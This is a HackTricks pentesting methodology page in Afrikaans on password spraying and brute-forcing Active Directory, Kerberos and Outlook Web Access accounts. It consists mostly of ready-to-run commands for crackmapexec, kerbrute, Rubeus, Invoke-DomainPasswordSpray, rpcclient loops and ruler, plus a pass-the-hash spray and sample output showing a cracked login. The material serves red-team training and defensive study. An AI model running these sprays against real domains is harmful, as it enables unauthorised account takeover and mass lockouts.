hacktricks/windows-hardening/active-directory-methodology/password-spraying.md

8 KiB

Password Spraying / Brute Force

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Password Spraying

Sodra jy verskeie geldige gebruikersname gevind het, kan jy die mees gewone wagwoorde probeer (hou in gedagte die wagwoordbeleid van die omgewing) met elkeen van die ontdekte gebruikers.
Deur standaard is die minimum wagwoord lengte 7.

Lys van algemene gebruikersname kan ook nuttig wees: https://github.com/insidetrust/statistically-likely-usernames

Let daarop dat jy sekere rekeninge kan sluit as jy verskeie verkeerde wagwoorde probeer (deur standaard meer as 10).

Kry wagwoordbeleid

As jy 'n paar gebruikersakkrediteer of 'n shell as 'n domein gebruiker het, kan jy die wagwoordbeleid kry met:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitatie vanaf Linux (of alles)

  • Gebruik crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (jy kan die aantal pogings aandui om vergrendeling te vermy):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Gebruik kerbrute (python) - NIE AANBEVEEL NIE SOMTYDS WERK DIT NIE
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Met die scanner/smb/smb_login module van Metasploit:

  • Deur rpcclient te gebruik:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Van Windows

  • Met Rubeus weergawe met brute module:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Met Invoke-DomainPasswordSpray (Dit kan gebruikers uit die domein genereer per standaard en dit sal die wagwoordbeleid van die domein kry en pogings volgens dit beperk):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Brute Force

{% code overflow="wrap" %}

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

{% endcode %}

Outlook Web Access

Daar is verskeie gereedskap vir password spraying outlook.

Om enige van hierdie gereedskap te gebruik, benodig jy 'n gebruikerslys en 'n wagwoord / 'n klein lys van wagwoorde om te spray.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Verwysings

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}